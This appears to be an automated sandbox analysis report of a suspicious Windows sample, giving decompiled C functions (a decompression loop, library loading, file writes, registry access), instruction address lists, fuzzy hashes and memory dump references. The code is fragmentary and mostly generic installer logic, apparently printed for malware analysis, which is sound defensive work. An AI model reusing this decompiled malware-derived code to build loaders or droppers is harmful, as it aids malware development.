											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L79;
										case 0x1b:
											L75:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t274 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t274;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t283 = __ebp - 0x64;
											 *_t283 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t283;
											 *( *(__ebp - 0x68)) = __cl;
											L79:
											 *(__ebp - 0x14) = __edx;
											goto L80;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L80:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00000000
0x00407068
0x00407068
0x0040706c
0x00407095
0x0040709f
0x0040706e
0x00407077
0x00407084
0x00407087
0x004073cb
0x004073cb
0x004073ce
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x0040741c
0x00407420
0x004075cf
0x004075e5
0x004075ed
0x004075f4
0x004075f6
0x004075fd
0x00407601
0x00407601
0x0040742c
0x00407433
0x0040743b
0x0040743e
0x00407441
0x00407441
0x00407447
0x00407447
0x00406be3
0x00406be3
0x00406be3
0x00406bec
0x00000000
0x00000000
0x00406bf2
0x00000000
0x00406bfd
0x00000000
0x00000000
0x00406c06
0x00406c09
0x00406c0c
0x00406c10
0x00000000
0x00000000
0x00406c16
0x00406c19
0x00406c1b
0x00406c1c
0x00406c1f
0x00406c21
0x00406c22
0x00406c24
0x00406c27
0x00406c2c
0x00406c31
0x00406c3a
0x00406c4d
0x00406c50
0x00406c5c
0x00406c84
0x00406c86
0x00406c94
0x00406c94
0x00406c98
0x00000000
0x00000000
0x00000000
0x00000000
0x00406c88
0x00406c88
0x00406c8b
0x00406c8c
0x00406c8c
0x00000000
0x00406c88
0x00406c62
0x00406c67
0x00406c67
0x00406c70
0x00406c78
0x00406c7b
0x00000000
0x00406c81
0x00406c81
0x00000000
0x00406c81
0x00000000
0x00406c9e
0x00406c9e
0x00406ca2
0x0040754e
0x00000000
0x0040754e
0x00406cab
0x00406cbb
0x00406cbe
0x00406cc1
0x00406cc1
0x00406cc1
0x00406cc4
0x00406cc8
0x00000000
0x00000000
0x00406cca
0x00406cd0
0x00406cfa
0x00406d00
0x00406d07
0x00000000
0x00406d07
0x00406cd6
0x00406cd9
0x00406cde
0x00406cde
0x00406ce9
0x00406cf1
0x00406cf4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d39
0x00406d3f
0x00406d42
0x00406d4f
0x00406d57
0x004073cb
0x00000000
0x00000000
0x00406d0e
0x00406d0e
0x00406d12
0x0040755d
0x00000000
0x0040755d
0x00406d1e
0x00406d29
0x00406d29
0x00406d29
0x00406d2c
0x00406d2f
0x00406d32
0x00406d37
0x00000000
0x00000000
0x00000000
0x00000000
0x004073ce
0x004073ce
0x004073d4
0x004073da
0x004073e0
0x004073fa
0x004073fd
0x00407403
0x0040740e
0x00407410
0x004073e2
0x004073e2
0x004073f1
0x004073f5
0x004073f5
0x0040741a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406d5f
0x00406d61
0x00406d64
0x00406dd5
0x00406dd8
0x00406ddb
0x00406de2
0x00406dec
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00406d66
0x00406d6a
0x00406d6d
0x00406d6f
0x00406d72
0x00406d75
0x00406d77
0x00406d7a
0x00406d7c
0x00406d81
0x00406d84
0x00406d87
0x00406d8b
0x00406d92
0x00406d95
0x00406d9c
0x00406da0
0x00406da8
0x00406da8
0x00406da8
0x00406da2
0x00406da2
0x00406da2
0x00406d97
0x00406d97
0x00406d97
0x00406dac
0x00406daf
0x00406dcd
0x00406dcf
0x00000000
0x00406db1
0x00406db1
0x00406db4
0x00406db7
0x00406dba
0x00406dbc
0x00406dbc
0x00406dbc
0x00406dbf
0x00406dc2
0x00406dc4
0x00406dc5
0x00406dc8
0x00000000
0x00406dc8
0x00000000
0x00406ffe
0x00407002
0x00407020
0x00407023
0x0040702a
0x0040702d
0x00407030
0x00407033
0x00407036
0x00407039
0x0040703b
0x00407042
0x00407043
0x00407045
0x00407048
0x0040704b
0x0040704e
0x0040704e
0x00407053
0x00000000
0x00407053
0x00407004
0x00407007
0x0040700a
0x00407014
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00000000
0x00000000
0x004070ab
0x004070af
0x00000000
0x00000000
0x004070b5
0x004070b9
0x00000000
0x00000000
0x004070bf
0x004070c1
0x004070c5
0x004070c5
0x004070c8
0x004070cc
0x00000000
0x00000000
0x0040711c
0x00407120
0x00407127
0x0040712a
0x0040712d
0x00407137
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x00407122
0x00000000
0x00000000
0x00407143
0x00407147
0x0040714e
0x00407151
0x00407154
0x00407149
0x00407149
0x00407149
0x00407157
0x0040715a
0x0040715d
0x0040715d
0x00407160
0x00407163
0x00407166
0x00407166
0x00407169
0x00407170
0x00407175
0x00000000
0x00000000
0x00407203
0x00407203
0x00407207
0x004075a5
0x00000000
0x004075a5
0x0040720d
0x00407210
0x00407213
0x00407217
0x0040721a
0x00407220
0x00407222
0x00407222
0x00407222
0x00407225
0x00407228
0x00000000
0x00000000
0x00406df8
0x00406df8
0x00406dfc
0x00407569
0x00000000
0x00407569
0x00406e02
0x00406e05
0x00406e08
0x00406e0c
0x00406e0f
0x00406e15
0x00406e17
0x00406e17
0x00406e17
0x00406e1a
0x00406e1d
0x00406e1d
0x00406e20
0x00406e23
0x00000000
0x00000000
0x00406e29
0x00406e2f
0x00000000
0x00000000
0x00406e35
0x00406e35
0x00406e39
0x00406e3c
0x00406e3f
0x00406e42
0x00406e45
0x00406e46
0x00406e49
0x00406e4b
0x00406e51
0x00406e54
0x00406e57
0x00406e5a
0x00406e5d
0x00406e60
0x00406e63
0x00406e7f
0x00406e82
0x00406e85
0x00406e88
0x00406e8f
0x00406e93
0x00406e95
0x00406e99
0x00406e65
0x00406e65
0x00406e69
0x00406e71
0x00406e76
0x00406e78
0x00406e7a
0x00406e7a
0x00406e9c
0x00406ea3
0x00406ea6
0x00000000
0x00406eac
0x00000000
0x00406eac
0x00000000
0x00406eb1
0x00406eb1
0x00406eb5
0x00407575
0x00000000
0x00407575
0x00406ebb
0x00406ebe
0x00406ec1
0x00406ec5
0x00406ec8
0x00406ece
0x00406ed0
0x00406ed0
0x00406ed0
0x00406ed3
0x00406ed6
0x00406ed6
0x00406ed6
0x00406edc
0x00000000
0x00000000
0x00406ede
0x00406ee1
0x00406ee4
0x00406ee7
0x00406eea
0x00406eed
0x00406ef0
0x00406ef3
0x00406ef6
0x00406ef9
0x00406efc
0x00406f14
0x00406f17
0x00406f1a
0x00406f1d
0x00406f1d
0x00406f20
0x00406f24
0x00406f26
0x00406efe
0x00406efe
0x00406f06
0x00406f0b
0x00406f0d
0x00406f0f
0x00406f0f
0x00406f29
0x00406f30
0x00406f33
0x00000000
0x00406f35
0x00000000
0x00406f35
0x00406f33
0x00406f3a
0x00406f3a
0x00406f3a
0x00406f3a
0x00000000
0x00000000
0x00406f75
0x00406f75
0x00406f79
0x00407581
0x00000000
0x00407581
0x00406f7f
0x00406f82
0x00406f85
0x00406f89
0x00406f8c
0x00406f92
0x00406f94
0x00406f94
0x00406f94
0x00406f97
0x00406f9a
0x00406f9a
0x00406fa0
0x00406f3e
0x00406f3e
0x00406f41
0x00000000
0x00406f41
0x00406fa2
0x00406fa2
0x00406fa5
0x00406fa8
0x00406fab
0x00406fae
0x00406fb1
0x00406fb4
0x00406fb7
0x00406fba
0x00406fbd
0x00406fc0
0x00406fd8
0x00406fdb
0x00406fde
0x00406fe1
0x00406fe1
0x00406fe4
0x00406fe8
0x00406fea
0x00406fc2
0x00406fc2
0x00406fca
0x00406fcf
0x00406fd1
0x00406fd3
0x00406fd3
0x00406fed
0x00406ff4
0x00406ff7
0x00000000
0x00406ff9
0x00000000
0x00406ff9
0x00000000
0x00407286
0x00407286
0x0040728a
0x004075b1
0x00000000
0x004075b1
0x00407290
0x00407293
0x00407296
0x0040729a
0x0040729d
0x004072a3
0x004072a5
0x004072a5
0x004072a5
0x004072a8
0x00000000
0x00000000
0x00407056
0x00407056
0x00407059
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x004073cb
0x004073cb
0x00000000
0x004073cb
0x004073cb
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00407447
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00407447
0x00407447
0x00000000
0x0040744d
0x00407447
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00406f44
0x00406f44
0x00406f48
0x0040758d
0x00000000
0x0040758d
0x00406f4e
0x00406f51
0x00406f54
0x00406f57
0x00406f5a
0x00406f5d
0x00406f60
0x00406f62
0x00406f65
0x00406f68
0x00406f6b
0x00406f6d
0x00406f6d
0x00406f6d
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x0040710a
0x0040710a
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x0040710d
0x0040710d
0x00000000
0x0040710d
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2
0x004075fa
0x004075fa
0x00000000
0x004075fa
0x00407447
0x004073ce
0x004073cb

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 004020D8 Relevance: 4.6, APIs: 3, Instructions: 73
libraryCOMMON

Download Yara Rule

C-Code - Quality: 60%

			E004020D8(void* __ebx, void* __eflags) {
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t31;
				void* _t32;
				WCHAR* _t35;
				intOrPtr* _t36;
				void* _t37;
				void* _t39;

				_t32 = __ebx;
				asm("sbb eax, 0x42a320");
				 *(_t39 - 4) = 1;
				if(__eflags < 0) {
					_push(0xffffffe7);
					L15:
					E00401423();
					L16:
					 *0x42a2e8 =  *0x42a2e8 +  *(_t39 - 4);
					return 0;
				}
				_t35 = E00402DA6(0xfffffff0);
				 *((intOrPtr*)(_t39 - 0x44)) = E00402DA6(1);
				if( *((intOrPtr*)(_t39 - 0x20)) == __ebx) {
					L3:
					_t23 = LoadLibraryExW(_t35, _t32, 8); // executed
					_t47 = _t23 - _t32;
					 *(_t39 + 8) = _t23;
					if(_t23 == _t32) {
						_push(0xfffffff6);
						goto L15;
					}
					L4:
					_t36 = E00406AA4(_t47,  *(_t39 + 8),  *((intOrPtr*)(_t39 - 0x44)));
					if(_t36 == _t32) {
						E004056CA(0xfffffff7,  *((intOrPtr*)(_t39 - 0x44)));
					} else {
						 *(_t39 - 4) = _t32;
						if( *((intOrPtr*)(_t39 - 0x28)) == _t32) {
							 *_t36( *((intOrPtr*)(_t39 - 8)), 0x400, _t37, 0x40ce58, 0x40a000); // executed
						} else {
							E00401423( *((intOrPtr*)(_t39 - 0x28)));
							if( *_t36() != 0) {
								 *(_t39 - 4) = 1;
							}
						}
					}
					if( *((intOrPtr*)(_t39 - 0x24)) == _t32 && E00403CB7( *(_t39 + 8)) != 0) {
						FreeLibrary( *(_t39 + 8));
					}
					goto L16;
				}
				_t31 = GetModuleHandleW(_t35); // executed
				 *(_t39 + 8) = _t31;
				if(_t31 != __ebx) {
					goto L4;
				}
				goto L3;
			}

0x004020d8
0x004020d8
0x004020dd
0x004020e4
0x004021a3
0x004022f1
0x004022f1
0x00402c2a
0x00402c2d
0x00402c39
0x00402c39
0x004020f3
0x004020fd
0x00402100
0x00402110
0x00402114
0x0040211a
0x0040211c
0x0040211f
0x0040219c
0x00000000
0x0040219c
0x00402121
0x0040212c
0x00402130
0x00402170
0x00402132
0x00402135
0x00402138
0x00402164
0x0040213a
0x0040213d
0x00402146
0x00402148
0x00402148
0x00402146
0x00402138
0x00402178
0x00402191
0x00402191
0x00000000
0x00402178
0x00402103
0x0040210b
0x0040210e
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 00402103

Part of subcall function 004056CA: lstrlenW.KERNEL32(00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000,?), ref: 00405702
Part of subcall function 004056CA: lstrlenW.KERNEL32(004030A8,00422728,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,004030A8,00000000), ref: 00405712
Part of subcall function 004056CA: lstrcatW.KERNEL32(00422728,004030A8), ref: 00405725
Part of subcall function 004056CA: SetWindowTextW.USER32(00422728,00422728), ref: 00405737
Part of subcall function 004056CA: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040575D
Part of subcall function 004056CA: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405777
Part of subcall function 004056CA: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405785

LoadLibraryExW.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00402114
FreeLibrary.KERNEL32(?,?,000000F7,?,?,00000008,00000001,000000F0), ref: 00402191

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: eacc7f29ef9238f75312dc60e6ea6028a018b8bf669bd73802a6ecb2e4004895
Instruction ID: 1e7e134340f86907485d462c64894228b35b3344cd4f3d252167f9901203d809
Opcode Fuzzy Hash: eacc7f29ef9238f75312dc60e6ea6028a018b8bf669bd73802a6ecb2e4004895
Instruction Fuzzy Hash: C521C231904104FADF11AFA5CF48A9D7A70BF48354F60413BF605B91E0DBBD8A929A5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040620A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040620A(void* _a4, void* _a8, long _a12) {
				int _t7;
				long _t11;

				_t11 = _a12;
				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
				if(_t7 == 0 || _t11 != _a12) {
					return 0;
				} else {
					return 1;
				}
			}

0x0040620e
0x0040621e
0x00406226
0x00000000
0x0040622d
0x00000000
0x0040622f

APIs

WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,0040CF8E,font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname,00403579,font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname,0040CF8E,<svg xmlns="http://www.w3.org/2000/svg" width="16" height="16"> <g fill="#2e3436"> <path d="M12.016 1v10.586l3 3V1zm-4 3v3.586l3 3V4zm-4 3v8h3V9.414L4.6 7zm-4 3v5h3v-5zm8 .414V15h3v-1.586zm4 4V15h.585z" style="line-height:normal;font-variant-ligatu,00004000,?,00000000,004033A3,00000004), ref: 0040621E

Strings

font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname, xrefs: 0040620A

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: FileWrite
String ID: font-weight="400" font-family="sans-serif" overflow="visible" fill-rule="evenodd"/> <path d="M1.53.47L.469 1.53l14 14 1.062-1.061z"/> </g></svg>pixbuf_2_0_0_dll_iname
API String ID: 3934441357-2460010289
Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5

Uniqueness

Uniqueness Score: -1.00%

Function 004064D5 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004064D5(void* __eflags, intOrPtr _a4, short* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00406454(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExW(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_t9 = 6;
				return _t9;
			}

0x004064df
0x004064e6
0x004064f9
0x00000000
0x004064f9
0x004064ea
0x00000000

APIs

RegOpenKeyExW.KERNELBASE(00000000,00000000,00000000,?,?,00422728,?,('B,00406563,('B,00000000,?,?,Call,?), ref: 004064F9

Strings

('B, xrefs: 004064D5

Memory Dump Source

Source File: 00000000.00000002.3283025001.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3282990682.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283105081.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283144697.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283287480.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283327689.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3283384511.000000000046C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QT_0948765446-NMPMUST-9876563783.jbxd

Similarity

API ID: Open
String ID: ('B
API String ID: 71445658-2332581011
Opcode ID: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction ID: 5036765eb4ab6e58186d81024f5778724aa2024cd81e2e1d5ca813995cf5404a
Opcode Fuzzy Hash: 759d75b29ffd137612e455953a298f0698f5beae901813cd77d6ec234b014f3e
Instruction Fuzzy Hash: BAD0123210020DBBDF115F90AD01FAB375DAB08310F018426FE06A4092D775D534A728

Uniqueness

Uniqueness Score: -1.00%

Function 032D3C31 Relevance: 3.4, APIs: 1, Instructions: 1934libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(B97F3312,?,7C361159,032C1EF6), ref: 032D3046

Memory Dump Source

Source File: 00000000.00000002.3285433939.00000000032C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 032C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32c0000_QT_0948765446-NMPMUST-9876563783.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e087cc6336a24fc63aec40d2f425a874e7c538a89123a47b2743bf1dc8e7f7d9
Instruction ID: 717799d92accfbf5b31213d2588f52cdc95b72912e59b115c7556636c9acfa52
Opcode Fuzzy Hash: e087cc6336a24fc63aec40d2f425a874e7c538a89123a47b2743bf1dc8e7f7d9
Instruction Fuzzy Hash: 5512891359C1BB69CE196F1C7C549C62B5399A3130E684BFBEE79CECF1831486E5C181

Uniqueness

Uniqueness Score: -1.00%

Function 0040252A Relevance: 3.1, APIs: 2, Instructions: 56
registryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E0040252A(int* __ebx, char* __edi) {
				void* _t17;
				short* _t18;
				void* _t35;
				void* _t37;
				void* _t40;

				_t33 = __edi;
				_t27 = __ebx;
				_t17 = E00402DE6(_t40, 0x20019); // executed
				_t35 = _t17;
				_t18 = E00402DA6(0x33);
				 *__edi = __ebx;
				if(_t35 == __ebx) {
					 *(_t37 - 4) = 1;
				} else {
					 *(_t37 - 0x10) = 0x800;
					if(RegQueryValueExW(_t35, _t18, __ebx, _t37 + 8, __edi, _t37 - 0x10) != 0) {
						L7:
						 *_t33 = _t27;
						 *(_t37 - 4) = 1;
					} else {
						if( *(_t37 + 8) == 4) {
							__eflags =  *(_t37 - 0x20) - __ebx;
							 *(_t37 - 4) = 0 |  *(_t37 - 0x20) == __ebx;
							E004065AF(__edi,  *__edi);
						} else {
